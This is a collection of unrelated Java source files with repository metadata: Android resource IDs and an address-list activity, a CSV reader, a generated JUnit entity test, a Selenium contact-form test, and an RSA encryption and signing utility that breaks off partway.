public static final int common_google_play_services_sign_in_failed_title = 0x7f070023; public static final int common_google_play_services_unknown_issue = 0x7f070024; public static final int common_google_play_services_unsupported_text = 0x7f070025; public static final int common_google_play_services_unsupported_title = 0x7f070026; public static final int common_google_play_services_update_button = 0x7f070027; public static final int common_google_play_services_update_text = 0x7f070028; public static final int common_google_play_services_update_title = 0x7f070029; public static final int common_google_play_services_updating_text = 0x7f07002a; public static final int common_google_play_services_updating_title = 0x7f07002b; public static final int common_google_play_services_wear_update_text = 0x7f07002c; public static final int common_open_on_phone = 0x7f07002d; public static final int common_signin_button_text = 0x7f07002e; public static final int common_signin_button_text_long = 0x7f07002f; public static final int create_calendar_message = 0x7f070074; public static final int create_calendar_title = 0x7f070075; public static final int decline = 0x7f070076; public static final int place_autocomplete_clear_button = 0x7f07003b; public static final int place_autocomplete_search_hint = 0x7f07003c; public static final int store_picture_message = 0x7f07008b; public static final int store_picture_title = 0x7f07008c; public static final int wallet_buy_button_place_holder = 0x7f07003e; } public static final class style { public static final int Theme_AppInvite_Preview = 0x7f0a00ff; public static final int Theme_AppInvite_Preview_Base = 0x7f0a0017; public static final int Theme_IAPTheme = 0x7f0a0104; public static final int WalletFragmentDefaultButtonTextAppearance = 0x7f0a0116; public static final int WalletFragmentDefaultDetailsHeaderTextAppearance = 0x7f0a0117; public static final int WalletFragmentDefaultDetailsTextAppearance = 0x7f0a0118; public static final int WalletFragmentDefaultStyle = 0x7f0a0119; } public static final class styleable { public static final int[] AdsAttrs = { 0x7f010027, 0x7f010028, 0x7f010029 }; public static final int AdsAttrs_adSize = 0; public static final int AdsAttrs_adSizes = 1; public static final int AdsAttrs_adUnitId = 2; public static final int[] CustomWalletTheme = { 0x7f01004c }; public static final int CustomWalletTheme_windowTransitionStyle = 0; public static final int[] LoadingImageView = { 0x7f01005d, 0x7f01005e, 0x7f01005f }; public static final int LoadingImageView_circleCrop = 2; public static final int LoadingImageView_imageAspectRatio = 1; public static final int LoadingImageView_imageAspectRatioAdjust = 0; public static final int[] MapAttrs = { 0x7f010060, 0x7f010061, 0x7f010062, 0x7f010063, 0x7f010064, 0x7f010065, 0x7f010066, 0x7f010067, 0x7f010068, 0x7f010069, 0x7f01006a, 0x7f01006b, 0x7f01006c, 0x7f01006d, 0x7f01006e, 0x7f01006f, 0x7f010070 }; public static final int MapAttrs_ambientEnabled = 16; public static final int MapAttrs_cameraBearing = 1; public static final int MapAttrs_cameraTargetLat = 2; public static final int MapAttrs_cameraTargetLng = 3; public static final int MapAttrs_cameraTilt = 4; public static final int MapAttrs_cameraZoom = 5; public static final int MapAttrs_liteMode = 6; public static final int MapAttrs_mapType = 0; public static final int MapAttrs_uiCompass = 7; public static final int MapAttrs_uiMapToolbar = 15; public static final int MapAttrs_uiRotateGestures = 8; public static final int MapAttrs_uiScrollGestures = 9; public static final int MapAttrs_uiTiltGestures = 10; public static final int MapAttrs_uiZoomControls = 11; public static final int MapAttrs_uiZoomGestures = 12; public static final int MapAttrs_useViewLifecycle = 13; public static final int MapAttrs_zOrderOnTop = 14; public static final int[] SignInButton = { 0x7f010092, 0x7f010093, 0x7f010094 }; public static final int SignInButton_buttonSize = 0; public static final int SignInButton_colorScheme = 1; public static final int SignInButton_scopeUris = 2; public static final int[] WalletFragmentOptions = { 0x7f01013e, 0x7f01013f, 0x7f010140, 0x7f010141 }; public static final int WalletFragmentOptions_appTheme = 0; public static final int WalletFragmentOptions_environment = 1; public static final int WalletFragmentOptions_fragmentMode = 3; public static final int WalletFragmentOptions_fragmentStyle = 2; public static final int[] WalletFragmentStyle = { 0x7f010142, 0x7f010143, 0x7f010144, 0x7f010145, 0x7f010146, 0x7f010147, 0x7f010148, 0x7f010149, 0x7f01014a, 0x7f01014b, 0x7f01014c }; public static final int WalletFragmentStyle_buyButtonAppearance = 3; public static final int WalletFragmentStyle_buyButtonHeight = 0; public static final int WalletFragmentStyle_buyButtonText = 2; public static final int WalletFragmentStyle_buyButtonWidth = 1; public static final int WalletFragmentStyle_maskedWalletDetailsBackground = 6; public static final int WalletFragmentStyle_maskedWalletDetailsButtonBackground = 8; public static final int WalletFragmentStyle_maskedWalletDetailsButtonTextAppearance = 7; public static final int WalletFragmentStyle_maskedWalletDetailsHeaderTextAppearance = 5; public static final int WalletFragmentStyle_maskedWalletDetailsLogoImageType = 10; public static final int WalletFragmentStyle_maskedWalletDetailsLogoTextColor = 9; public static final int WalletFragmentStyle_maskedWalletDetailsTextAppearance = 4; } }
[ "upendra@vasista.in" ]
upendra@vasista.in
82f843a8c8b358033eb66f550f6abb528f824719
c4c4ba6c7cf2e6a666a898c9041d848ff6942ba9
/src/main/java/com/cobot00/cassandra_generator/util/CSVFileReader.java
3f06c7e01b25a40d09669eaad0930dd4772d68a6
[]
no_license
cobot00/CassandraGenerator
cb1b8d667421adc416d66f3ad6e44dcd5c9fd273
b46d98ddb5a54853e61db6bf4b9988af8789ca5e
refs/heads/master
2020-12-25T11:15:19.027948
2016-08-15T03:48:31
2016-08-15T03:48:31
65,604,540
0
0
null
2016-08-15T03:48:31
2016-08-13T07:12:33
Java
UTF-8
Java
false
false
442
java
package com.cobot00.cassandra_generator.util; import java.util.List; import java.util.stream.Collectors; public abstract class CSVFileReader<T> { public List<T> read(String filePath) { List<String> lines = new TextFileReader().read(filePath); lines.remove(0); // remove header line return lines.stream().map(this::parseCSV).collect(Collectors.toList()); } protected abstract T parseCSV(String line); }
[ "kobori75@gmail.com" ]
kobori75@gmail.com
0997557be4aa3c8835e3523799885031d1cb1b42
6828c4866470d2cecf76228264c400785088d422
/java-loja/api-produto/src/main/java/br/com/loja/constant/Constants.java
83b9bf82ec423759538dd1db63b942d7e981bcfa
[]
no_license
skysegbr/Sistemas_Distribuidos
1a514ceab7b7ace785348b9974a7bbbbb85b31e4
3a0143c8e5b711ee5f67d3caabae29dac48a7932
refs/heads/master
2021-03-04T20:03:59.670221
2020-06-27T00:31:18
2020-06-27T00:31:18
246,060,704
0
0
null
null
null
null
UTF-8
Java
false
false
181
java
package br.com.loja.constant; public class Constants { public static final String API_URL = "loja/api/v1/"; public static final String API_PRODUTO = API_URL + "produto"; }
[ "danilo@waycomp.com.br" ]
danilo@waycomp.com.br
280ab9b8e464f311a80e99d4aa495f82ccadd61f
7bddbcc6ae7a317abe1085c2d338529f9972500d
/app/src/main/java/com/orange/oy/activity/shakephoto_320/ReceiveAddressActivity.java
125b78c070a0af66738e1c6fd3cb506273835e5c
[]
no_license
cherry98/Rose_ouye
a76158443444bb46bc03b402f44ff3f7723626a4
705a1cfedea65ac92e8cee2ef2421bbee56aed4c
refs/heads/master
2020-03-28T15:44:50.818307
2018-09-13T10:36:14
2018-09-13T10:36:14
148,622,312
0
0
null
null
null
null
UTF-8
Java
false
false
7,930
java
package com.orange.oy.activity.shakephoto_320; import android.content.Intent; import android.os.Bundle; import android.view.View; import android.widget.AdapterView; import android.widget.ListView; import com.android.volley.Response; import com.android.volley.VolleyError; import com.handmark.pulltorefresh.library.PullToRefreshBase; import com.handmark.pulltorefresh.library.PullToRefreshListView; import com.orange.oy.R; import com.orange.oy.adapter.mycorps_314.ReceiveAddressAdapter; import com.orange.oy.base.AppInfo; import com.orange.oy.base.BaseActivity; import com.orange.oy.base.Tools; import com.orange.oy.info.shakephoto.ReceiveAddressInfo; import com.orange.oy.network.NetworkConnection; import com.orange.oy.network.Urls; import com.orange.oy.view.AppTitle; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import java.util.ArrayList; import java.util.HashMap; import java.util.Map; /** * ้€‰ๆ‹ฉๆ”ถ่ดงๅœฐๅ€ V3.20 */ public class ReceiveAddressActivity extends BaseActivity implements AppTitle.OnBackClickForAppTitle, AdapterView.OnItemClickListener { private void initTitle() { AppTitle appTitle = (AppTitle) findViewById(R.id.receiveaddr_title); appTitle.settingName("้€‰ๆ‹ฉๆ”ถ่ดงๅœฐๅ€"); appTitle.showBack(this); } private void initNetwork() { consigneeAddressList = new NetworkConnection(this) { @Override public Map<String, String> getNetworkParams() { Map<String, String> params = new HashMap<>(); params.put("token", Tools.getToken()); params.put("usermobile", AppInfo.getName(ReceiveAddressActivity.this)); params.put("page", page + ""); return params; } }; } private PullToRefreshListView receiveaddr_listview; private ReceiveAddressAdapter receiveAddressAdapter; private NetworkConnection consigneeAddressList; private int page = 1; private ArrayList<ReceiveAddressInfo> list; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_receive_address); list = new ArrayList<>(); initTitle(); initNetwork(); receiveaddr_listview = (PullToRefreshListView) findViewById(R.id.receiveaddr_listview); receiveAddressAdapter = new ReceiveAddressAdapter(this, list); receiveaddr_listview.setAdapter(receiveAddressAdapter); receiveaddr_listview.setOnItemClickListener(this); receiveaddr_listview.setOnRefreshListener(new PullToRefreshBase.OnRefreshListener2<ListView>() { @Override public void onPullDownToRefresh(PullToRefreshBase<ListView> refreshView) { page = 1; getData(); } @Override public void onPullUpToRefresh(PullToRefreshBase<ListView> refreshView) { page++; getData(); } }); } @Override protected void onResume() { super.onResume(); getData(); } private void getData() { consigneeAddressList.sendPostRequest(Urls.ConsigneeAddressList, new Response.Listener<String>() { @Override public void onResponse(String s) { Tools.d(s); try { JSONObject jsonObject = new JSONObject(s); if (jsonObject.getInt("code") == 200) { if (page == 1) { list.clear(); } jsonObject = jsonObject.getJSONObject("data"); JSONArray jsonArray = jsonObject.optJSONArray("address_list"); if (jsonArray != null) { for (int i = 0; i < jsonArray.length(); i++) { JSONObject object = jsonArray.getJSONObject(i); ReceiveAddressInfo receiveAddressInfo = new ReceiveAddressInfo(); receiveAddressInfo.setAddress_id(object.getString("address_id")); receiveAddressInfo.setConsignee_name(object.getString("consignee_name")); receiveAddressInfo.setConsignee_address(object.getString("consignee_address")); receiveAddressInfo.setConsignee_phone(object.getString("consignee_phone")); receiveAddressInfo.setProvince(object.getString("province")); receiveAddressInfo.setCity(object.getString("city")); receiveAddressInfo.setCounty(object.getString("county")); receiveAddressInfo.setDefault_state(object.getString("default_state")); list.add(receiveAddressInfo); } ReceiveAddressInfo receiveAddressInfo = new ReceiveAddressInfo(); receiveAddressInfo.setAddress_id("-1"); list.add(receiveAddressInfo); if (receiveAddressAdapter != null) { receiveAddressAdapter.notifyDataSetChanged(); } receiveaddr_listview.onRefreshComplete(); if (jsonArray.length() < 15) { receiveaddr_listview.setMode(PullToRefreshBase.Mode.PULL_FROM_START); } else { receiveaddr_listview.setMode(PullToRefreshBase.Mode.BOTH); } } } else { Tools.showToast(ReceiveAddressActivity.this, jsonObject.getString("msg")); } } catch (JSONException e) { Tools.showToast(ReceiveAddressActivity.this, getResources().getString(R.string.network_error)); } receiveaddr_listview.onRefreshComplete(); } }, new Response.ErrorListener() { @Override public void onErrorResponse(VolleyError volleyError) { Tools.showToast(ReceiveAddressActivity.this, getResources().getString(R.string.network_volleyerror)); receiveaddr_listview.onRefreshComplete(); } }); } @Override public void onBack() { baseFinish(); } @Override public void onItemClick(AdapterView<?> parent, View view, int position, long id) { if (receiveAddressAdapter != null) { position = position - 1; ReceiveAddressInfo receiveAddressInfo = list.get(position); if ("-1".equals(receiveAddressInfo.getAddress_id())) {//ๆทปๅŠ ๅœฐๅ€ Intent intent = new Intent(this, AddAddressActivity.class); intent.putExtra("which_page", "0");//ๆทปๅŠ ๆ–ฐๅœฐๅ€ startActivity(intent); } else { receiveAddressAdapter.setmPosition(position); receiveAddressAdapter.notifyDataSetChanged(); Intent intent = new Intent(); intent.putExtra("consignee_name", receiveAddressInfo.getConsignee_name()); intent.putExtra("consignee_phone", receiveAddressInfo.getConsignee_phone()); intent.putExtra("consignee_address", receiveAddressInfo.getConsignee_address()); intent.putExtra("province", receiveAddressInfo.getProvince()); intent.putExtra("city", receiveAddressInfo.getCity()); intent.putExtra("town", receiveAddressInfo.getCounty()); setResult(RESULT_OK, intent); baseFinish(); } } } }
[ "cherry18515@163.com" ]
cherry18515@163.com
6b03f634112eec65f0789ffcb4984d5dc982260a
91214a6d0abf3163cd2c3a61d5c465491533f000
/loadcheck/src/test/java/loadcheck/app/server/service/organizationboundedcontext/contacts/GenderTestCase.java
96ae3cc98be1248db0804bf72b5151b549c00eca
[]
no_license
applifireAlgo/apponetest
4b7ee03c428738932778811e056f93d5140a1653
85aee2fae3f329c1fbed55e6fc79d28c736ca836
refs/heads/master
2016-08-12T03:57:36.701708
2016-04-02T09:35:36
2016-04-02T09:35:36
55,240,188
0
0
null
null
null
null
UTF-8
Java
false
false
9,691
java
package loadcheck.app.server.service.organizationboundedcontext.contacts; import loadcheck.app.server.service.EntityTestCriteria; import org.junit.runner.RunWith; import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; import org.springframework.test.context.web.WebAppConfiguration; import loadcheck.app.config.WebConfigExtended; import org.springframework.test.context.ContextConfiguration; import org.junit.FixMethodOrder; import org.junit.runners.MethodSorters; import org.springframework.test.context.TestExecutionListeners; import loadcheck.app.server.repository.organizationboundedcontext.contacts.GenderRepository; import loadcheck.app.shared.organizationboundedcontext.contacts.Gender; import org.springframework.beans.factory.annotation.Autowired; import com.athena.framework.server.helper.RuntimeLogInfoHelper; import com.athena.framework.server.helper.EntityValidatorHelper; import com.athena.framework.server.test.RandomValueGenerator; import java.util.HashMap; import java.util.List; import com.spartan.healthmeter.entity.scheduler.ArtMethodCallStack; import org.springframework.mock.web.MockHttpSession; import org.springframework.mock.web.MockHttpServletRequest; import org.springframework.mock.web.MockHttpServletResponse; import org.junit.Before; import org.junit.After; import com.athena.framework.shared.entity.web.entityInterface.CommonEntityInterface.RECORD_TYPE; import org.junit.Test; import com.athena.framework.server.exception.biz.SpartanConstraintViolationException; import com.athena.framework.server.exception.biz.SpartanIncorrectDataException; import com.athena.framework.server.exception.repository.SpartanPersistenceException; @RunWith(SpringJUnit4ClassRunner.class) @WebAppConfiguration @ContextConfiguration(classes = WebConfigExtended.class) @FixMethodOrder(MethodSorters.NAME_ASCENDING) @TestExecutionListeners({ org.springframework.test.context.support.DependencyInjectionTestExecutionListener.class, org.springframework.test.context.support.DirtiesContextTestExecutionListener.class, org.springframework.test.context.transaction.TransactionalTestExecutionListener.class }) public class GenderTestCase extends EntityTestCriteria { @Autowired private GenderRepository<Gender> genderRepository; @Autowired private RuntimeLogInfoHelper runtimeLogInfoHelper; @Autowired private EntityValidatorHelper<Object> entityValidator; private RandomValueGenerator valueGenerator = new RandomValueGenerator(); private static HashMap<String, Object> map = new HashMap<String, Object>(); private static List<EntityTestCriteria> entityContraint; @Autowired private ArtMethodCallStack methodCallStack; protected MockHttpSession session; protected MockHttpServletRequest request; protected MockHttpServletResponse response; protected void startSession() { session = new MockHttpSession(); } protected void endSession() { session.clearAttributes(); session.invalidate(); session = null; } protected void startRequest() { request = new MockHttpServletRequest(); request.setSession(session); org.springframework.web.context.request.RequestContextHolder.setRequestAttributes(new org.springframework.web.context.request.ServletRequestAttributes(request)); } protected void endRequest() { ((org.springframework.web.context.request.ServletRequestAttributes) org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).requestCompleted(); org.springframework.web.context.request.RequestContextHolder.resetRequestAttributes(); request = null; } @Before public void before() { startSession(); startRequest(); setBeans(); } @After public void after() { endSession(); endRequest(); } private void setBeans() { runtimeLogInfoHelper.createRuntimeLogUserInfo(1, "AAAAA", request.getRemoteHost()); org.junit.Assert.assertNotNull(runtimeLogInfoHelper); methodCallStack.setRequestId(java.util.UUID.randomUUID().toString().toUpperCase()); entityContraint = addingListOfFieldForNegativeTesting(); } private Gender createGender(Boolean isSave) throws SpartanPersistenceException, SpartanConstraintViolationException { Gender gender = new Gender(); gender.setGender("HewYO2gBz5HnaYi9h9Uw6jmAGtKd6Lkfxw5LM506YJXGKcb2cD"); gender.setEntityValidator(entityValidator); return gender; } @Test public void test1Save() { try { Gender gender = createGender(true); gender.setEntityAudit(1, "xyz", RECORD_TYPE.ADD); gender.isValid(); genderRepository.save(gender); map.put("GenderPrimaryKey", gender._getPrimarykey()); } catch (com.athena.framework.server.exception.biz.SpartanConstraintViolationException e) { org.junit.Assert.fail(e.getMessage()); } catch (java.lang.Exception e) { org.junit.Assert.fail(e.getMessage()); } } @Test public void test2Update() { try { org.junit.Assert.assertNotNull(map.get("GenderPrimaryKey")); Gender gender = genderRepository.findById((java.lang.String) map.get("GenderPrimaryKey")); gender.setVersionId(1); gender.setGender("TciSSgIRi7IV09fs2meEV33AWKY72UbhE5Q1v73sRRiOc80dsG"); gender.setEntityAudit(1, "xyz", RECORD_TYPE.UPDATE); genderRepository.update(gender); } catch (com.athena.framework.server.exception.repository.SpartanPersistenceException e) { org.junit.Assert.fail(e.getMessage()); } catch (java.lang.Exception e) { org.junit.Assert.fail(e.getMessage()); } } @Test public void test3FindById() { try { org.junit.Assert.assertNotNull(map.get("GenderPrimaryKey")); genderRepository.findById((java.lang.String) map.get("GenderPrimaryKey")); } catch (com.athena.framework.server.exception.repository.SpartanPersistenceException e) { org.junit.Assert.fail(e.getMessage()); } catch (Exception e) { org.junit.Assert.fail(e.getMessage()); } } @Test public void test6Delete() { try { org.junit.Assert.assertNotNull(map.get("GenderPrimaryKey")); genderRepository.delete((java.lang.String) map.get("GenderPrimaryKey")); } catch (com.athena.framework.server.exception.repository.SpartanPersistenceException e) { org.junit.Assert.fail(e.getMessage()); } catch (Exception e) { org.junit.Assert.fail(e.getMessage()); } } private void validateGender(EntityTestCriteria contraints, Gender gender) throws SpartanIncorrectDataException, SpartanConstraintViolationException, SpartanPersistenceException { if (contraints.getRuleType() == MIN_MAX) { gender.isValid(); } else if (contraints.getRuleType() == NOT_NULL) { gender.isValid(); } else if (contraints.getRuleType() == REGEX) { gender.isValid(); } else if (contraints.getRuleType() == UNIQUE) { genderRepository.save(gender); } } private List<EntityTestCriteria> addingListOfFieldForNegativeTesting() { List<EntityTestCriteria> entityContraints = new java.util.ArrayList<EntityTestCriteria>(); entityContraints.add(new EntityTestCriteria(NOT_NULL, 1, "gender", null)); entityContraints.add(new EntityTestCriteria(MIN_MAX, 2, "gender", "ySv6lYN4vYW2JZjHKb7pF4HjCE8fw8LoWQSblJf1Pvj2ArkWRmduH01IlR8Qvhis5hpMZYvUNqlvq6cp0un6yLy63W022QsbjKqzMmZ230rxK99gxETmfvwJQ9fv4WrxQBzfsh6Nbpz3CAVNhArTdIOmxgJmr5SJYc9qpYCUkPD768DLdAv9IpxolAShSSWBN9YhLGe9iTy2lGMXJTIhJ3lic6RzYwHo1AoMp9TlmumZxAZm4wG4hmPjrAaTkHIen")); return entityContraints; } @Test public void test5NegativeTesting() throws NoSuchMethodException, SecurityException, IllegalArgumentException, IllegalAccessException, NoSuchFieldException, Exception, SpartanPersistenceException { int failureCount = 0; for (EntityTestCriteria contraints : this.entityContraint) { try { Gender gender = createGender(false); java.lang.reflect.Field field = null; if (!contraints.getFieldName().equalsIgnoreCase("CombineUniqueKey")) { field = gender.getClass().getDeclaredField(contraints.getFieldName()); } switch(((contraints.getTestId()))) { case 0: break; case 1: field.setAccessible(true); field.set(gender, null); validateGender(contraints, gender); failureCount++; break; case 2: gender.setGender(contraints.getNegativeValue().toString()); validateGender(contraints, gender); failureCount++; break; } } catch (SpartanIncorrectDataException e) { e.printStackTrace(); } catch (SpartanConstraintViolationException e) { e.printStackTrace(); } catch (SpartanPersistenceException e) { e.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } } if (failureCount > 0) { org.junit.Assert.fail(); } } }
[ "applifire@9a3b5e9da876" ]
applifire@9a3b5e9da876
aad5dfd07ff447caaaf756fc85246ec38c93a367
66ed83675405f5a6078f55874479fd7c183e4264
/src/main/java/Pages/ContactUs.java
c720911b941bfd7e4c3f6ffaedc25b5b8129dca8
[]
no_license
kay4444/ddi_tests
3d8cd6432c1fa073631eec040dc268f413db2dbf
cf0d8728e1716886f61ee017ac5a77f5910a7085
refs/heads/master
2021-01-19T11:05:39.663521
2017-04-11T10:49:04
2017-04-11T10:49:04
null
0
0
null
null
null
null
UTF-8
Java
false
false
3,088
java
package Pages; import Elements.Button; import Elements.TextField; import Enums.Variables; import MainSettings.Settings; import org.openqa.selenium.By; import org.openqa.selenium.WebElement; import org.openqa.selenium.interactions.Actions; import java.awt.*; import java.awt.event.KeyEvent; public class ContactUs extends Settings { private static Button contact_us= new Button(By.xpath(Variables.CONTACTS_LINK.toString())); private static TextField email=new TextField(By.xpath(Variables.EMAIL_INPUT.toString())); private static TextField phone=new TextField(By.xpath(Variables.PHONE_INPUT.toString())); private static TextField name=new TextField(By.xpath(Variables.NAME_INPUT.toString())); private static TextField message=new TextField(By.xpath(Variables.MESSAGE_TEXTFIELD.toString())); private static Button zoom_in=new Button(By.xpath(Variables.ZOOM_IN.toString())); private static Button zoom_out=new Button(By.xpath(Variables.ZOOM_OUT.toString())); private static Button change_to_usa_location= new Button(By.xpath(Variables.CHANGE_TO_USA_LOCATION.toString())); public static ContactUs send_request() { contact_us.click(); Settings.waitInSeconds(3); name.enterText("DDI TEST NAME"); phone.enterText("17183559302"); email.enterText("test@ddi-dev.com"); message.enterText("Automation test of contact us form(I am not robot ignored)"); try { Robot robot = new Robot(); robot.mouseMove(1177,904); robot.mousePress(KeyEvent.BUTTON1_DOWN_MASK); robot.mouseRelease(KeyEvent.BUTTON1_DOWN_MASK); waitInSeconds(5); robot.mouseMove(844,745); robot.mousePress(KeyEvent.BUTTON1_DOWN_MASK); robot.mouseRelease(KeyEvent.BUTTON1_DOWN_MASK); robot.mouseMove(845,655); robot.mousePress(KeyEvent.BUTTON1_DOWN_MASK); robot.mouseRelease(KeyEvent.BUTTON1_DOWN_MASK); robot.mouseMove(845,560); robot.mousePress(KeyEvent.BUTTON1_DOWN_MASK); robot.mouseRelease(KeyEvent.BUTTON1_DOWN_MASK); robot.mouseMove(1101,1044); robot.mousePress(KeyEvent.BUTTON1_DOWN_MASK); robot.mouseRelease(KeyEvent.BUTTON1_DOWN_MASK); waitInSeconds(3); } catch (AWTException e) { e.printStackTrace(); } Settings.waitInSeconds(7); Actions actions = new Actions(driver); WebElement sent= driver.findElement(By.xpath(Variables.SENT_BUTTON.toString())); actions.moveToElement(sent).click().build().perform(); waitInSeconds(5); return new ContactUs(); } public static ContactUs zoom_in_and_zoom_out_map() { contact_us.click(); Settings.waitInSeconds(2); change_to_usa_location.click(); driver.switchTo().frame("usa-map"); Settings.waitInSeconds(5); zoom_in.click(); zoom_in.click(); zoom_out.click(); zoom_out.click(); return new ContactUs(); } }
[ "sanyatolok@gmail.com" ]
sanyatolok@gmail.com
0c9ef02c7a9c7115dc3134fec31f17ce27fd77c8
fbeb03010299ad66d245865182974a77cf49f8d2
/src/main/java/utils/RSACoder.java
2dd82603ea736965eda3c332202cff2e874ec137
[]
no_license
KevinManiple/demo
c98c736159d1f630afd413e12278c859ccede559
8a479ee3c35a6b8c6a376d6edaac613d88f3c1d7
refs/heads/master
2021-01-10T16:48:46.283937
2016-02-23T15:28:49
2016-02-23T15:28:49
49,941,216
0
0
null
null
null
null
UTF-8
Java
false
false
6,602
java
package utils; import java.security.Key; import java.security.KeyFactory; import java.security.KeyPair; import java.security.KeyPairGenerator; import java.security.PrivateKey; import java.security.PublicKey; import java.security.Signature; import java.security.interfaces.RSAPrivateKey; import java.security.interfaces.RSAPublicKey; import java.security.spec.PKCS8EncodedKeySpec; import java.security.spec.X509EncodedKeySpec; import java.util.HashMap; import java.util.Map; import javax.crypto.Cipher; /** * RSAๅฎ‰ๅ…จ็ผ–็ ็ป„ไปถ * * @author Kai.Zhao * @version 1.0 * @see */ public class RSACoder extends Coder { public static final String KEY_ALGORITHM = "RSA"; public static final String SIGNATURE_ALGORITHM = "MD5withRSA"; private static final String PUBLIC_KEY = "RSAPublicKey"; private static final String PRIVATE_KEY = "RSAPrivateKey"; /** * ็”จ็ง้’ฅๅฏนไฟกๆฏ็”Ÿๆˆๆ•ฐๅญ—็ญพๅ * * @param data * ๅŠ ๅฏ†ๆ•ฐๆฎ * @param privateKey * ็ง้’ฅ * * @return * @throws Exception */ public static String sign(byte[] data, String privateKey) throws Exception { // ่งฃๅฏ†็”ฑbase64็ผ–็ ็š„็ง้’ฅ byte[] keyBytes = decryptBASE64(privateKey); // ๆž„้€ PKCS8EncodedKeySpecๅฏน่ฑก PKCS8EncodedKeySpec pkcs8KeySpec = new PKCS8EncodedKeySpec(keyBytes); // KEY_ALGORITHM ๆŒ‡ๅฎš็š„ๅŠ ๅฏ†็ฎ—ๆณ• KeyFactory keyFactory = KeyFactory.getInstance(KEY_ALGORITHM); // ๅ–็ง้’ฅๅŒ™ๅฏน่ฑก PrivateKey priKey = keyFactory.generatePrivate(pkcs8KeySpec); // ็”จ็ง้’ฅๅฏนไฟกๆฏ็”Ÿๆˆๆ•ฐๅญ—็ญพๅ Signature signature = Signature.getInstance(SIGNATURE_ALGORITHM); signature.initSign(priKey); signature.update(data); return encryptBASE64(signature.sign()); } /** * ๆ ก้ชŒๆ•ฐๅญ—็ญพๅ * * @param data * ๅŠ ๅฏ†ๆ•ฐๆฎ * @param publicKey * ๅ…ฌ้’ฅ * @param sign * ๆ•ฐๅญ—็ญพๅ * * @return ๆ ก้ชŒๆˆๅŠŸ่ฟ”ๅ›žtrue ๅคฑ่ดฅ่ฟ”ๅ›žfalse * @throws Exception * */ public static boolean verify(byte[] data, String publicKey, String sign) throws Exception { // ่งฃๅฏ†็”ฑbase64็ผ–็ ็š„ๅ…ฌ้’ฅ byte[] keyBytes = decryptBASE64(publicKey); // ๆž„้€ X509EncodedKeySpecๅฏน่ฑก X509EncodedKeySpec keySpec = new X509EncodedKeySpec(keyBytes); // KEY_ALGORITHM ๆŒ‡ๅฎš็š„ๅŠ ๅฏ†็ฎ—ๆณ• KeyFactory keyFactory = KeyFactory.getInstance(KEY_ALGORITHM); // ๅ–ๅ…ฌ้’ฅๅŒ™ๅฏน่ฑก PublicKey pubKey = keyFactory.generatePublic(keySpec); Signature signature = Signature.getInstance(SIGNATURE_ALGORITHM); signature.initVerify(pubKey); signature.update(data); // ้ชŒ่ฏ็ญพๅๆ˜ฏๅฆๆญฃๅธธ return signature.verify(decryptBASE64(sign)); } /** * ่งฃๅฏ†<br> * ็”จ็ง้’ฅ่งฃๅฏ† * * @param data * @param key * @return * @throws Exception */ public static byte[] decryptByPrivateKey(byte[] data, String key) throws Exception { // ๅฏนๅฏ†้’ฅ่งฃๅฏ† byte[] keyBytes = decryptBASE64(key); // ๅ–ๅพ—็ง้’ฅ PKCS8EncodedKeySpec pkcs8KeySpec = new PKCS8EncodedKeySpec(keyBytes); KeyFactory keyFactory = KeyFactory.getInstance(KEY_ALGORITHM); Key privateKey = keyFactory.generatePrivate(pkcs8KeySpec); // ๅฏนๆ•ฐๆฎ่งฃๅฏ† Cipher cipher = Cipher.getInstance(keyFactory.getAlgorithm()); cipher.init(Cipher.DECRYPT_MODE, privateKey); return cipher.doFinal(data); } /** * ่งฃๅฏ†<br> * ็”จๅ…ฌ้’ฅ่งฃๅฏ† * * @param data * @param key * @return * @throws Exception */ public static byte[] decryptByPublicKey(byte[] data, String key) throws Exception { // ๅฏนๅฏ†้’ฅ่งฃๅฏ† byte[] keyBytes = decryptBASE64(key); // ๅ–ๅพ—ๅ…ฌ้’ฅ X509EncodedKeySpec x509KeySpec = new X509EncodedKeySpec(keyBytes); KeyFactory keyFactory = KeyFactory.getInstance(KEY_ALGORITHM); Key publicKey = keyFactory.generatePublic(x509KeySpec); // ๅฏนๆ•ฐๆฎ่งฃๅฏ† Cipher cipher = Cipher.getInstance(keyFactory.getAlgorithm()); cipher.init(Cipher.DECRYPT_MODE, publicKey); return cipher.doFinal(data); } /** * ๅŠ ๅฏ†<br> * ็”จๅ…ฌ้’ฅๅŠ ๅฏ† * * @param data * @param key * @return * @throws Exception */ public static byte[] encryptByPublicKey(byte[] data, String key) throws Exception { // ๅฏนๅ…ฌ้’ฅ่งฃๅฏ† byte[] keyBytes = decryptBASE64(key); // ๅ–ๅพ—ๅ…ฌ้’ฅ X509EncodedKeySpec x509KeySpec = new X509EncodedKeySpec(keyBytes); KeyFactory keyFactory = KeyFactory.getInstance(KEY_ALGORITHM); Key publicKey = keyFactory.generatePublic(x509KeySpec); // ๅฏนๆ•ฐๆฎๅŠ ๅฏ† Cipher cipher = Cipher.getInstance(keyFactory.getAlgorithm()); cipher.init(Cipher.ENCRYPT_MODE, publicKey); return cipher.doFinal(data); } /** * ๅŠ ๅฏ†<br> * ็”จ็ง้’ฅๅŠ ๅฏ† * * @param data * @param key * @return * @throws Exception */ public static byte[] encryptByPrivateKey(byte[] data, String key) throws Exception { // ๅฏนๅฏ†้’ฅ่งฃๅฏ† byte[] keyBytes = decryptBASE64(key); // ๅ–ๅพ—็ง้’ฅ PKCS8EncodedKeySpec pkcs8KeySpec = new PKCS8EncodedKeySpec(keyBytes); KeyFactory keyFactory = KeyFactory.getInstance(KEY_ALGORITHM); Key privateKey = keyFactory.generatePrivate(pkcs8KeySpec); // ๅฏนๆ•ฐๆฎๅŠ ๅฏ† Cipher cipher = Cipher.getInstance(keyFactory.getAlgorithm()); cipher.init(Cipher.ENCRYPT_MODE, privateKey); return cipher.doFinal(data); } /** * ๅ–ๅพ—็ง้’ฅ * * @param keyMap * @return * @throws Exception */ public static String getPrivateKey(Map<String, Object> keyMap) throws Exception { Key key = (Key) keyMap.get(PRIVATE_KEY); return encryptBASE64(key.getEncoded()); } /** * ๅ–ๅพ—ๅ…ฌ้’ฅ * * @param keyMap * @return * @throws Exception */ public static String getPublicKey(Map<String, Object> keyMap) throws Exception { Key key = (Key) keyMap.get(PUBLIC_KEY); return encryptBASE64(key.getEncoded()); } /** * ๅˆๅง‹ๅŒ–ๅฏ†้’ฅ * * 